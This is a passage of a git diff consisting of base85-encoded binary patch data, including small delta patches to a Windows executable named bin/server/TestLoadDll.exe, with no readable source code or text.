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 HG9vy3Co+`h diff --git a/bin/server/TestLoadDll.exe b/bin/server/TestLoadDll.exe index 5af8813e8e6c2ddc45a8d9bc862e3756213ebfe8..d9c3e97a50f1b7bec0c2d0ebe8b9dc74943d063b 100644 GIT binary patch delta 162 zcmZoT6W(wpd;ue~$hZ1tX2y1AMi6EKVrC#_0b*7lW&>h&Am#vKP9Ww2Vs0Sj0b*Vt z<^y7WAQk{(K_C_aV&Uz~j3R=`@<4;*8GwKZh+TnLW2Fp(#zYa25Cc$dyK#!hPaOgM e2^Z(HC3X6CI+_~J@qh2!ZZlD2yUj$=BOw5>G$lv? delta 162 zcmZoT6W(wpd;ue~-HWh&Am#vKP9Ww2Vs0Sj0b*Vt z<^y7WAQk{(K_C_aV&Uz~j3R=`@<4;*8GwKZh+TnLW2Fp(#zYa25Cc$dyK#!hPaOd! e7S@6zUdqmkUmMReUt=!NZZlD2yUj$=BOw5<g{(HhbMer!-!@IL&(GJu>_dD3X}(u zFvA02`%=$O;lm*rFo6CvT2Su$rSFiwOZqVSD4K>ALL(mC=;;tzw5K(U*r>$ErJwf1 zVF-Lu2jIhCip5C7n-!ZRy#IXVuO$RV90|^O_(f7wG?Jprqliu){&r;%b&^8VNeaE& zBR&28M=9`89d#r`q=cQW1@08yty`<`S|u2fr#OJE8JZ6PqDIHIqV%%Ph`@OdDs0{O zzZw0HF}*5|B1HzdYzEAJL!%P7H%wf#R}_Ort2W51@f_5z-hr+7xULK$Mm25|x8oJ~ z5}5~U_+~KRdEj@NR2;;x8onvy!co!v~9 zbtQqwhzIrGz)cX2`im#if)!mChhssuGgbFNooD={1cUoZ8nq(b{c-lNp~Vq!o1t|* z2vP(M+i_$BRqAP1RFZMF20tg4R2qf$T$w3kJBA1iY5QF}WoXoT6JF3fhoLlQF%Q~t z7dH=8@niTaBkm!GJ7Tz?nO|sKSz(`ibykJ-#geW};X}9MNr207`jGWxE~hh>o)zw` zu05a}RPL-Sch=C(Ak>N0W@_eI(%so@)#F+m!i5Z-Da=Bdojg(4i~9~=u$S->Y24@^ zz)dU6;wJlJ58!3xbVe=p+bq~oL!*YA^dtc@wpqKV*0LO49w<($sC;4S&e)Hzd?|n?=kW?ykKdw@t zJq8593rpM|H=9jlT>zfwe@kk#+$VhAefQw?7ZPI6=_h#tj`{&$*Twc= zYc@3u#5q8)eW1XMM)-gV^CdtZ;5@(skO0+UJT(Y2dInAAjP^6I4g+QZ5kM3$2Z#aE zfNC+uzI#W-Ay^+2MN{*@*S+pE_o^$X8Q;cXX-ADC4qkPvFSOUFT?AlE7|U_B7_bAe zQq@f$K5&A8)cbQ(#tdOOP*p46a!EpYHetvG88_ojQd9D*5l(PJDg3Vw_fv2zvZK&l z^BF7bmYA7>9DrlY{fQtTF_~5|TbAJxyX{NYhq8nwlEmUmBCA}_^2T_E=%ZBkQhk!vd|8Fy)n2f+Trka-R|vKbwusFdzLF$632mgr z@?#+ur@hRW&+}}sLKK26Wwk7-mQf7W7e_}yYKGMO4O6J$&nxCnx(LSh%i0v^nF2<2 zuMOMUVAZ$TeH18(ZPBvpi3o`aU{)H3Qb6|!)%QEYE2%9aD|D68l zIvb4J42BO9i^#%S`6%>vo zw*&ZhRj&HkkpJLxYA2o7JEqoSrWVX#u=TYyzFK-i^jlP4rTQ|hryCv0%!~!-fIII8 z*=}x!?>x$RNSS}wTBKx=?MD`9bO9&+a);BFJOz` hRuG7=#a>1>JjwZ3vX$*ty6YPrdGL%UKDm8J{s7}!$29-|